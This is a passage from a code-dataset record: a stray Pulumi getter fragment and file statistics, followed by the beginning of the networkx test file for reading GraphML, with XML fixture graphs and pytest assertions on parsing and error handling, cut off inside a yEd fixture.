def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
return pulumi.get(self, "tags")
| 49.260252
| 277
| 0.659217
| 3,774
| 31,231
| 5.302597
| 0.062003
| 0.090696
| 0.089546
| 0.059364
| 0.912003
| 0.901209
| 0.881921
| 0.865831
| 0.859384
| 0.846642
| 0
| 0.00298
| 0.237168
| 31,231
| 633
| 278
| 49.338073
| 0.837013
| 0.4013
| 0
| 0.765537
| 1
| 0
| 0.101713
| 0.01736
| 0
| 0
| 0
| 0
| 0
| 1
| 0.161017
| false
| 0.002825
| 0.014124
| 0.008475
| 0.271186
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
070ebaf0dba4f1cd8323d0bcfb7566d05c02e06e
| 46,059
|
py
|
Python
|
networkx/readwrite/tests/test_graphml.py
|
FrancescoBonacina/networkx
|
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
|
[
"BSD-3-Clause"
] | 10
|
2020-04-29T10:38:03.000Z
|
2022-03-16T03:30:28.000Z
|
networkx/readwrite/tests/test_graphml.py
|
FrancescoBonacina/networkx
|
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
|
[
"BSD-3-Clause"
] | null | null | null |
networkx/readwrite/tests/test_graphml.py
|
FrancescoBonacina/networkx
|
a73a610e0bbd6e13b183b15ca47b221df5f8e26a
|
[
"BSD-3-Clause"
] | 2
|
2020-04-08T07:50:23.000Z
|
2020-04-08T11:59:03.000Z
|
import pytest
import networkx as nx
from networkx.testing.utils import assert_edges_equal, assert_nodes_equal
import io
import tempfile
import os
from networkx.testing import almost_equal
class BaseGraphML:
@classmethod
def setup_class(cls):
cls.simple_directed_data = """<?xml version="1.0" encoding="UTF-8"?>
<!-- This file was written by the JAVA GraphML Library.-->
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<graph id="G" edgedefault="directed">
<node id="n0"/>
<node id="n1"/>
<node id="n2"/>
<node id="n3"/>
<node id="n4"/>
<node id="n5"/>
<node id="n6"/>
<node id="n7"/>
<node id="n8"/>
<node id="n9"/>
<node id="n10"/>
<edge id="foo" source="n0" target="n2"/>
<edge source="n1" target="n2"/>
<edge source="n2" target="n3"/>
<edge source="n3" target="n5"/>
<edge source="n3" target="n4"/>
<edge source="n4" target="n6"/>
<edge source="n6" target="n5"/>
<edge source="n5" target="n7"/>
<edge source="n6" target="n8"/>
<edge source="n8" target="n7"/>
<edge source="n8" target="n9"/>
</graph>
</graphml>"""
cls.simple_directed_graph = nx.DiGraph()
cls.simple_directed_graph.add_node('n10')
cls.simple_directed_graph.add_edge('n0', 'n2', id='foo')
cls.simple_directed_graph.add_edges_from([('n1', 'n2'),
('n2', 'n3'),
('n3', 'n5'),
('n3', 'n4'),
('n4', 'n6'),
('n6', 'n5'),
('n5', 'n7'),
('n6', 'n8'),
('n8', 'n7'),
('n8', 'n9'),
])
cls.simple_directed_fh = \
io.BytesIO(cls.simple_directed_data.encode('UTF-8'))
cls.attribute_data = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="d0" for="node" attr.name="color" attr.type="string">
<default>yellow</default>
</key>
<key id="d1" for="edge" attr.name="weight" attr.type="double"/>
<graph id="G" edgedefault="directed">
<node id="n0">
<data key="d0">green</data>
</node>
<node id="n1"/>
<node id="n2">
<data key="d0">blue</data>
</node>
<node id="n3">
<data key="d0">red</data>
</node>
<node id="n4"/>
<node id="n5">
<data key="d0">turquoise</data>
</node>
<edge id="e0" source="n0" target="n2">
<data key="d1">1.0</data>
</edge>
<edge id="e1" source="n0" target="n1">
<data key="d1">1.0</data>
</edge>
<edge id="e2" source="n1" target="n3">
<data key="d1">2.0</data>
</edge>
<edge id="e3" source="n3" target="n2"/>
<edge id="e4" source="n2" target="n4"/>
<edge id="e5" source="n3" target="n5"/>
<edge id="e6" source="n5" target="n4">
<data key="d1">1.1</data>
</edge>
</graph>
</graphml>
"""
cls.attribute_graph = nx.DiGraph(id='G')
cls.attribute_graph.graph['node_default'] = {'color': 'yellow'}
cls.attribute_graph.add_node('n0', color='green')
cls.attribute_graph.add_node('n2', color='blue')
cls.attribute_graph.add_node('n3', color='red')
cls.attribute_graph.add_node('n4')
cls.attribute_graph.add_node('n5', color='turquoise')
cls.attribute_graph.add_edge('n0', 'n2', id='e0', weight=1.0)
cls.attribute_graph.add_edge('n0', 'n1', id='e1', weight=1.0)
cls.attribute_graph.add_edge('n1', 'n3', id='e2', weight=2.0)
cls.attribute_graph.add_edge('n3', 'n2', id='e3')
cls.attribute_graph.add_edge('n2', 'n4', id='e4')
cls.attribute_graph.add_edge('n3', 'n5', id='e5')
cls.attribute_graph.add_edge('n5', 'n4', id='e6', weight=1.1)
cls.attribute_fh = io.BytesIO(cls.attribute_data.encode('UTF-8'))
cls.attribute_numeric_type_data = """<?xml version='1.0' encoding='utf-8'?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key attr.name="weight" attr.type="double" for="node" id="d1" />
<key attr.name="weight" attr.type="double" for="edge" id="d0" />
<graph edgedefault="directed">
<node id="n0">
<data key="d1">1</data>
</node>
<node id="n1">
<data key="d1">2.0</data>
</node>
<edge source="n0" target="n1">
<data key="d0">1</data>
</edge>
<edge source="n1" target="n0">
<data key="d0">k</data>
</edge>
<edge source="n1" target="n1">
<data key="d0">1.0</data>
</edge>
</graph>
</graphml>
"""
cls.attribute_numeric_type_graph = nx.DiGraph()
cls.attribute_numeric_type_graph.add_node('n0', weight=1)
cls.attribute_numeric_type_graph.add_node('n1', weight=2.0)
cls.attribute_numeric_type_graph.add_edge('n0', 'n1', weight=1)
cls.attribute_numeric_type_graph.add_edge('n1', 'n1', weight=1.0)
fh = io.BytesIO(cls.attribute_numeric_type_data.encode('UTF-8'))
cls.attribute_numeric_type_fh = fh
cls.simple_undirected_data = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<graph id="G">
<node id="n0"/>
<node id="n1"/>
<node id="n2"/>
<node id="n10"/>
<edge id="foo" source="n0" target="n2"/>
<edge source="n1" target="n2"/>
<edge source="n2" target="n3"/>
</graph>
</graphml>"""
# <edge source="n8" target="n10" directed="false"/>
cls.simple_undirected_graph = nx.Graph()
cls.simple_undirected_graph.add_node('n10')
cls.simple_undirected_graph.add_edge('n0', 'n2', id='foo')
cls.simple_undirected_graph.add_edges_from([('n1', 'n2'),
('n2', 'n3'),
])
fh = io.BytesIO(cls.simple_undirected_data.encode('UTF-8'))
cls.simple_undirected_fh = fh
class TestReadGraphML(BaseGraphML):
def test_read_simple_directed_graphml(self):
G = self.simple_directed_graph
H = nx.read_graphml(self.simple_directed_fh)
assert sorted(G.nodes()) == sorted(H.nodes())
assert sorted(G.edges()) == sorted(H.edges())
assert (sorted(G.edges(data=True)) ==
sorted(H.edges(data=True)))
self.simple_directed_fh.seek(0)
I = nx.parse_graphml(self.simple_directed_data)
assert sorted(G.nodes()) == sorted(I.nodes())
assert sorted(G.edges()) == sorted(I.edges())
assert (sorted(G.edges(data=True)) ==
sorted(I.edges(data=True)))
def test_read_simple_undirected_graphml(self):
G = self.simple_undirected_graph
H = nx.read_graphml(self.simple_undirected_fh)
assert_nodes_equal(G.nodes(), H.nodes())
assert_edges_equal(G.edges(), H.edges())
self.simple_undirected_fh.seek(0)
I = nx.parse_graphml(self.simple_undirected_data)
assert_nodes_equal(G.nodes(), I.nodes())
assert_edges_equal(G.edges(), I.edges())
def test_read_attribute_graphml(self):
G = self.attribute_graph
H = nx.read_graphml(self.attribute_fh)
assert_nodes_equal(G.nodes(True), sorted(H.nodes(data=True)))
ge = sorted(G.edges(data=True))
he = sorted(H.edges(data=True))
for a, b in zip(ge, he):
assert a == b
self.attribute_fh.seek(0)
I = nx.parse_graphml(self.attribute_data)
assert sorted(G.nodes(True)) == sorted(I.nodes(data=True))
ge = sorted(G.edges(data=True))
he = sorted(I.edges(data=True))
for a, b in zip(ge, he):
assert a == b
def test_directed_edge_in_undirected(self):
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<graph id="G">
<node id="n0"/>
<node id="n1"/>
<node id="n2"/>
<edge source="n0" target="n1"/>
<edge source="n1" target="n2" directed='true'/>
</graph>
</graphml>"""
fh = io.BytesIO(s.encode('UTF-8'))
pytest.raises(nx.NetworkXError, nx.read_graphml, fh)
pytest.raises(nx.NetworkXError, nx.parse_graphml, s)
def test_undirected_edge_in_directed(self):
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<graph id="G" edgedefault='directed'>
<node id="n0"/>
<node id="n1"/>
<node id="n2"/>
<edge source="n0" target="n1"/>
<edge source="n1" target="n2" directed='false'/>
</graph>
</graphml>"""
fh = io.BytesIO(s.encode('UTF-8'))
pytest.raises(nx.NetworkXError, nx.read_graphml, fh)
pytest.raises(nx.NetworkXError, nx.parse_graphml, s)
def test_key_raise(self):
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="d0" for="node" attr.name="color" attr.type="string">
<default>yellow</default>
</key>
<key id="d1" for="edge" attr.name="weight" attr.type="double"/>
<graph id="G" edgedefault="directed">
<node id="n0">
<data key="d0">green</data>
</node>
<node id="n1"/>
<node id="n2">
<data key="d0">blue</data>
</node>
<edge id="e0" source="n0" target="n2">
<data key="d2">1.0</data>
</edge>
</graph>
</graphml>
"""
fh = io.BytesIO(s.encode('UTF-8'))
pytest.raises(nx.NetworkXError, nx.read_graphml, fh)
pytest.raises(nx.NetworkXError, nx.parse_graphml, s)
def test_hyperedge_raise(self):
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="d0" for="node" attr.name="color" attr.type="string">
<default>yellow</default>
</key>
<key id="d1" for="edge" attr.name="weight" attr.type="double"/>
<graph id="G" edgedefault="directed">
<node id="n0">
<data key="d0">green</data>
</node>
<node id="n1"/>
<node id="n2">
<data key="d0">blue</data>
</node>
<hyperedge id="e0" source="n0" target="n2">
<endpoint node="n0"/>
<endpoint node="n1"/>
<endpoint node="n2"/>
</hyperedge>
</graph>
</graphml>
"""
fh = io.BytesIO(s.encode('UTF-8'))
pytest.raises(nx.NetworkXError, nx.read_graphml, fh)
pytest.raises(nx.NetworkXError, nx.parse_graphml, s)
def test_multigraph_keys(self):
# Test that reading multigraphs uses edge id attributes as keys
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<graph id="G" edgedefault="directed">
<node id="n0"/>
<node id="n1"/>
<edge id="e0" source="n0" target="n1"/>
<edge id="e1" source="n0" target="n1"/>
</graph>
</graphml>
"""
fh = io.BytesIO(s.encode('UTF-8'))
G = nx.read_graphml(fh)
expected = [("n0", "n1", "e0"), ("n0", "n1", "e1")]
assert sorted(G.edges(keys=True)) == expected
fh.seek(0)
H = nx.parse_graphml(s)
assert sorted(H.edges(keys=True)) == expected
def test_preserve_multi_edge_data(self):
"""
Test that data and keys of edges are preserved on consequent
write and reads
"""
G = nx.MultiGraph()
G.add_node(1)
G.add_node(2)
G.add_edges_from([
# edges with no data, no keys:
(1, 2),
# edges with only data:
(1, 2, dict(key='data_key1')),
(1, 2, dict(id='data_id2')),
(1, 2, dict(key='data_key3', id='data_id3')),
# edges with both data and keys:
(1, 2, 103, dict(key='data_key4')),
(1, 2, 104, dict(id='data_id5')),
(1, 2, 105, dict(key='data_key6', id='data_id7')),
])
fh = io.BytesIO()
nx.write_graphml(G, fh)
fh.seek(0)
H = nx.read_graphml(fh, node_type=int)
assert_edges_equal(
G.edges(data=True, keys=True), H.edges(data=True, keys=True)
)
assert G._adj == H._adj
def test_yfiles_extension(self):
data = """<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.yworks.com/xml/graphml"
xmlns:yed="http://www.yworks.com/xml/yed/3"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<!--Created by yFiles for Java 2.7-->
<key for="graphml" id="d0" yfiles.type="resources"/>
<key attr.name="url" attr.type="string" for="node" id="d1"/>
<key attr.name="description" attr.type="string" for="node" id="d2"/>
<key for="node" id="d3" yfiles.type="nodegraphics"/>
<key attr.name="Description" attr.type="string" for="graph" id="d4">
<default/>
</key>
<key attr.name="url" attr.type="string" for="edge" id="d5"/>
<key attr.name="description" attr.type="string" for="edge" id="d6"/>
<key for="edge" id="d7" yfiles.type="edgegraphics"/>
<graph edgedefault="directed" id="G">
<node id="n0">
<data key="d3">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="125.0" y="100.0"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content"
borderDistance="0.0" fontFamily="Dialog" fontSize="13"
fontStyle="plain" hasBackgroundColor="false" hasLineColor="false"
height="19.1328125" modelName="internal" modelPosition="c"
textColor="#000000" visible="true" width="12.27099609375"
x="8.864501953125" y="5.43359375">1</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<node id="n1">
<data key="d3">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="183.0" y="205.0"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content"
borderDistance="0.0" fontFamily="Dialog" fontSize="13"
fontStyle="plain" hasBackgroundColor="false" hasLineColor="false"
height="19.1328125" modelName="internal" modelPosition="c"
textColor="#000000" visible="true" width="12.27099609375"
x="8.864501953125" y="5.43359375">2</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<edge id="e0" source="n0" target="n1">
<data key="d7">
<y:PolyLineEdge>
<y:Path sx="0.0" sy="0.0" tx="0.0" ty="0.0"/>
<y:LineStyle color="#000000" type="line" width="1.0"/>
<y:Arrows source="none" target="standard"/>
<y:BendStyle smoothed="false"/>
</y:PolyLineEdge>
</data>
</edge>
</graph>
<data key="d0">
<y:Resources/>
</data>
</graphml>
"""
fh = io.BytesIO(data.encode('UTF-8'))
G = nx.read_graphml(fh)
assert list(G.edges()) == [('n0', 'n1')]
assert G['n0']['n1']['id'] == 'e0'
assert G.nodes['n0']['label'] == '1'
assert G.nodes['n1']['label'] == '2'
H = nx.parse_graphml(data)
assert list(H.edges()) == [('n0', 'n1')]
assert H['n0']['n1']['id'] == 'e0'
assert H.nodes['n0']['label'] == '1'
assert H.nodes['n1']['label'] == '2'
def test_bool(self):
s = """<?xml version="1.0" encoding="UTF-8"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="d0" for="node" attr.name="test" attr.type="boolean">
<default>false</default>
</key>
<graph id="G" edgedefault="directed">
<node id="n0">
<data key="d0">true</data>
</node>
<node id="n1"/>
<node id="n2">
<data key="d0">false</data>
</node>
<node id="n3">
<data key="d0">FaLsE</data>
</node>
<node id="n4">
<data key="d0">True</data>
</node>
<node id="n5">
<data key="d0">0</data>
</node>
<node id="n6">
<data key="d0">1</data>
</node>
</graph>
</graphml>
"""
fh = io.BytesIO(s.encode('UTF-8'))
G = nx.read_graphml(fh)
H = nx.parse_graphml(s)
for graph in [G, H]:
assert graph.nodes['n0']['test']
assert not graph.nodes['n2']['test']
assert not graph.nodes['n3']['test']
assert graph.nodes['n4']['test']
assert not graph.nodes['n5']['test']
assert graph.nodes['n6']['test']
def test_graphml_header_line(self):
good = """<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns
http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
<key id="d0" for="node" attr.name="test" attr.type="boolean">
<default>false</default>
</key>
<graph id="G">
<node id="n0">
<data key="d0">true</data>
</node>
</graph>
</graphml>
"""
bad = """<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<graphml>
<key id="d0" for="node" attr.name="test" attr.type="boolean">
<default>false</default>
</key>
<graph id="G">
<node id="n0">
<data key="d0">true</data>
</node>
</graph>
</graphml>
"""
ugly = """<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<graphml xmlns="https://ghghgh">
<key id="d0" for="node" attr.name="test" attr.type="boolean">
<default>false</default>
</key>
<graph id="G">
<node id="n0">
<data key="d0">true</data>
</node>
</graph>
</graphml>
"""
for s in (good, bad):
fh = io.BytesIO(s.encode('UTF-8'))
G = nx.read_graphml(fh)
H = nx.parse_graphml(s)
for graph in [G, H]:
assert graph.nodes['n0']['test']
fh = io.BytesIO(ugly.encode('UTF-8'))
pytest.raises(nx.NetworkXError, nx.read_graphml, fh)
pytest.raises(nx.NetworkXError, nx.parse_graphml, ugly)
def test_read_attributes_with_groups(self):
data = """\
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:java="http://www.yworks.com/xml/yfiles-common/1.0/java" xmlns:sys="http://www.yworks.com/xml/yfiles-common/markup/primitives/2.0" xmlns:x="http://www.yworks.com/xml/yfiles-common/markup/2.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:y="http://www.yworks.com/xml/graphml" xmlns:yed="http://www.yworks.com/xml/yed/3" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://www.yworks.com/xml/schema/graphml/1.1/ygraphml.xsd">
<!--Created by yEd 3.17-->
<key attr.name="Description" attr.type="string" for="graph" id="d0"/>
<key for="port" id="d1" yfiles.type="portgraphics"/>
<key for="port" id="d2" yfiles.type="portgeometry"/>
<key for="port" id="d3" yfiles.type="portuserdata"/>
<key attr.name="CustomProperty" attr.type="string" for="node" id="d4">
<default/>
</key>
<key attr.name="url" attr.type="string" for="node" id="d5"/>
<key attr.name="description" attr.type="string" for="node" id="d6"/>
<key for="node" id="d7" yfiles.type="nodegraphics"/>
<key for="graphml" id="d8" yfiles.type="resources"/>
<key attr.name="url" attr.type="string" for="edge" id="d9"/>
<key attr.name="description" attr.type="string" for="edge" id="d10"/>
<key for="edge" id="d11" yfiles.type="edgegraphics"/>
<graph edgedefault="directed" id="G">
<data key="d0"/>
<node id="n0">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="125.0" y="-255.4611111111111"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">2<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<node id="n1" yfiles.foldertype="group">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d5"/>
<data key="d6"/>
<data key="d7">
<y:ProxyAutoBoundsNode>
<y:Realizers active="0">
<y:GroupNode>
<y:Geometry height="250.38333333333333" width="140.0" x="-30.0" y="-330.3833333333333"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="140.0" x="0.0" y="0.0">Group 3</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="false" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="15" bottomF="15.0" left="15" leftF="15.0" right="15" rightF="15.0" top="15" topF="15.0"/>
<y:BorderInsets bottom="1" bottomF="1.0" left="0" leftF="0.0" right="0" rightF="0.0" top="1" topF="1.0001736111111086"/>
</y:GroupNode>
<y:GroupNode>
<y:Geometry height="50.0" width="50.0" x="0.0" y="60.0"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="65.201171875" x="-7.6005859375" y="0.0">Folder 3</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="true" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="5" bottomF="5.0" left="5" leftF="5.0" right="5" rightF="5.0" top="5" topF="5.0"/>
<y:BorderInsets bottom="0" bottomF="0.0" left="0" leftF="0.0" right="0" rightF="0.0" top="0" topF="0.0"/>
</y:GroupNode>
</y:Realizers>
</y:ProxyAutoBoundsNode>
</data>
<graph edgedefault="directed" id="n1:">
<node id="n1::n0" yfiles.foldertype="group">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d5"/>
<data key="d6"/>
<data key="d7">
<y:ProxyAutoBoundsNode>
<y:Realizers active="0">
<y:GroupNode>
<y:Geometry height="83.46111111111111" width="110.0" x="-15.0" y="-292.9222222222222"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="110.0" x="0.0" y="0.0">Group 1</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="false" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="15" bottomF="15.0" left="15" leftF="15.0" right="15" rightF="15.0" top="15" topF="15.0"/>
<y:BorderInsets bottom="1" bottomF="1.0" left="0" leftF="0.0" right="0" rightF="0.0" top="1" topF="1.0001736111111086"/>
</y:GroupNode>
<y:GroupNode>
<y:Geometry height="50.0" width="50.0" x="0.0" y="60.0"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="65.201171875" x="-7.6005859375" y="0.0">Folder 1</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="true" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="5" bottomF="5.0" left="5" leftF="5.0" right="5" rightF="5.0" top="5" topF="5.0"/>
<y:BorderInsets bottom="0" bottomF="0.0" left="0" leftF="0.0" right="0" rightF="0.0" top="0" topF="0.0"/>
</y:GroupNode>
</y:Realizers>
</y:ProxyAutoBoundsNode>
</data>
<graph edgedefault="directed" id="n1::n0:">
<node id="n1::n0::n0">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="50.0" y="-255.4611111111111"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">1<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
<node id="n1::n0::n1">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d6"/>
<data key="d7">
<y:ShapeNode>
<y:Geometry height="30.0" width="30.0" x="0.0" y="-255.4611111111111"/>
<y:Fill color="#FFCC00" transparent="false"/>
<y:BorderStyle color="#000000" raised="false" type="line" width="1.0"/>
<y:NodeLabel alignment="center" autoSizePolicy="content" fontFamily="Dialog" fontSize="12" fontStyle="plain" hasBackgroundColor="false" hasLineColor="false" height="17.96875" horizontalTextPosition="center" iconTextGap="4" modelName="custom" textColor="#000000" verticalTextPosition="bottom" visible="true" width="11.634765625" x="9.1826171875" y="6.015625">3<y:LabelModel>
<y:SmartNodeLabelModel distance="4.0"/>
</y:LabelModel>
<y:ModelParameter>
<y:SmartNodeLabelModelParameter labelRatioX="0.0" labelRatioY="0.0" nodeRatioX="0.0" nodeRatioY="0.0" offsetX="0.0" offsetY="0.0" upX="0.0" upY="-1.0"/>
</y:ModelParameter>
</y:NodeLabel>
<y:Shape type="rectangle"/>
</y:ShapeNode>
</data>
</node>
</graph>
</node>
<node id="n1::n1" yfiles.foldertype="group">
<data key="d4"><![CDATA[CustomPropertyValue]]></data>
<data key="d5"/>
<data key="d6"/>
<data key="d7">
<y:ProxyAutoBoundsNode>
<y:Realizers active="0">
<y:GroupNode>
<y:Geometry height="83.46111111111111" width="110.0" x="-15.0" y="-179.4611111111111"/>
<y:Fill color="#F5F5F5" transparent="false"/>
<y:BorderStyle color="#000000" type="dashed" width="1.0"/>
<y:NodeLabel alignment="right" autoSizePolicy="node_width" backgroundColor="#EBEBEB" borderDistance="0.0" fontFamily="Dialog" fontSize="15" fontStyle="plain" hasLineColor="false" height="21.4609375" horizontalTextPosition="center" iconTextGap="4" modelName="internal" modelPosition="t" textColor="#000000" verticalTextPosition="bottom" visible="true" width="110.0" x="0.0" y="0.0">Group 2</y:NodeLabel>
<y:Shape type="roundrectangle"/>
<y:State closed="false" closedHeight="50.0" closedWidth="50.0" innerGraphDisplayEnabled="false"/>
<y:Insets bottom="15" bottomF="15.0" left="15" leftF="15.0" right="15" rightF="15.0" top="15" topF="15.0"/>
